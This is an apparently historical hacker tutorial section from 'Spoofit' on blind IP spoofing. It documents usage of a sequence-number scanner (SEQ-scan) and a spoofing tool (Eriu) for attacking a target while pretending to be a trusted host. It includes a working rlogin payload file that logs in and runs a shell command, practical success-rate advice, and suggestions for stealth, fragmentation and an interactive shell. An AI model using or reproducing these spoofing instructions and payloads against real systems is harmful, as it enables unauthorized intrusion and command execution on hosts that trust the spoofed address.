Back to the Spoofit Page

Part II: Advanced spoofing (Blind)




4. How to use the source code
----------------------------- 



4.1 SEQ-scan
------------


It all kinda explains itself...

required <args> are:
  -t <target>  host you want to scan
  -p <server>  port you want to use for scanning
[options] are:
  -v           verbose
  -a           do all tests

A little note on the output, well with some of the SunOS's I played, I got
weak relations (time relation coeff. about 9). Sometimes (due to delays)
these can slip trough and generate a higher coeff. and thus seem hard to
attack, so always do you scans at least twice, on different times.

These hosts also needed a 10000 packet guess to give a 1/10 success rate...
(This to put y'r feet back a on the ground.) 


4.2 Eriu
--------


usage: eriu <arguments>
Arguments are:
  -s host:port  Spoofed Host (required)
                This is the host you will pretend to be.
  -t host:port  Target Host (required)
                This is the host you want to attack.
  -f filename   Packet contence commandfile (required, except with '-P')
                This file describes the data that will be send, for exact
                format see below
  -p port       Source Port used for scanning (default 23)
                On this port the Probes will be done, note she has to be
                accepting connections!
  -c count      Number of guesses to make (default 64k:20 other:500)
                This is the number of ACK's that is send, they are
                centralized around the guess.
                e.g. '-c 501' will try the ACK's guess-250 to guess+250. 
                Mind you that numbers like 10000 are realistic for
                successful attacks.                 
  -o offset     Extra offset to add to guessed ACK
                It takes the guessed ACK and adds this (negative or positive)
                number to it before firing any packets.
  -d delay      Seconds of delay between parts of the attack (default:1)
                You could have to raise this number, it represents a delay
                between different parts of the program.
  -P            Probe for guessing range
                This can be used to give you an idea of the '-c' parameter.
  -F            Enter the ACK guess y'rself (test/practice purposes)
                For home amusement when practicing...

Now let me discuss the commandfile, it is quite easy.
  1) It is an ASCII file (create it with a txt editor).
  2) It is line oriented, everything on one line will be put in one
     packet.
  3) All printable chars that you type are put in the packet.
  4) '\' followed by a THREE digit number is interpreted as the ASCII char 
     with the decimal value of that number.
     e.g. \000 will represents null character
          \010 represents char 0x0A 
  5) '\' followed by 'a' (or 'A') and a TWO digit number is interpreted as an
     increment (decimal) of the ACK that is send (remember the ACK in the 
     datastream). This can be useful for some situations.
     e.g. \A10 will increment the ACK with 10 (decimal)

I give you here the example of the file used for the rlogin spoof showed in
this document (no space at beginning of line in real file!):

     \000coder\000spoof\000vt100/9600\000
     \255\255ss\000\025\000\080\000\000\000\000
     spoof\010
     touch This_site_was_hacked\010

Explanation is simple, the first line represents a packet that contains 4 
null terminated strings: (an empty string),"coder","spoof" and "vt100/9600"
The second line is the rlogin window negotiation. 
The third line is the password "spoof" and <enter>.
The forth line is the command "touch This_site_was_hacked" and an <enter>.
Don't forget those <enters>, because you are in a shell, and it waits with
execution till you hit that big key on the right.

Mind you, that the following would have had the same effect:

     \000
     coder\000
     spoof\000
     vt100/9600\000 
     \255\255ss\000\025\000\080\000\000\000\000
     s
     p
     o
     of\010
     touch This_site_was_hacked\010

It would only take more packets.
 
NOTE: take care of white-spaces, make sure your lines aren't filled with
      spaces at the end, as these are interpreted as real chars! 

4.3 Improvements
----------------

For SEQ-scan, you figure them out yourself, you can always add fancy stuff,
or do complicated math...
For Eriu however I think some things are worth mentioning.
Beside the usual improvements that could be done (more parameter settings
etc.) some additional features could be useful to implement.
Maybe a 'step' parameter for the ACK guessing (see 'countstep' in the
source code).
For example fragmenting of the IP packets can be useful. Also adding of
stealth techniques would be nice, things like I mentioned above, like hiding
your probes in real connections (to public services).
Actually you could easily make a 'shell', by making the commands
real-time-typable... enjoy....


Brecht Claerhout: coder@succeed.net